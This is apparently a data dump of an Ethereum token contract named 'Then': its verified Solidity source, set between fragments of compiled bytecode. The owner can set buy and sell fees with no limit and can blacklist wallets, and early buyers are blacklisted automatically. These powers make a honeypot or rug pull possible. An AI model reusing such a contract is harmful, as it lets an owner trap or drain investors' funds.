0190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4cba3bdd035f410422e68a6c34e6b703461d248da0549b4d6ace73e57c8590f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,957
0x1b8aba846cc852a8850ba2bd3ebf90f3b5347509
/** *Submitted for verification at Etherscan.io on 2022-02-17 */ /** *Submitted for verification at Etherscan.io on 2022-02-17 */ /** *Submitted for verification at Etherscan.io on 2022-02-16 */ /** this, Then, and the other Twitter: https://twitter.com/Then52080245 */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Then is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Then";// string private constant _symbol = "THEN";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 14;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x08E14b02a80103E6058146DADCC050aa8424c276);// address payable private _marketingAddress = payable(0xa49203A58d32abc9659F3ABCB7eA52789947e75d);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 66000000 * 10**9; // uint256 public _maxWalletSize = 125000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600481526020017f5468656e00000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600481526020017f5448454e00000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff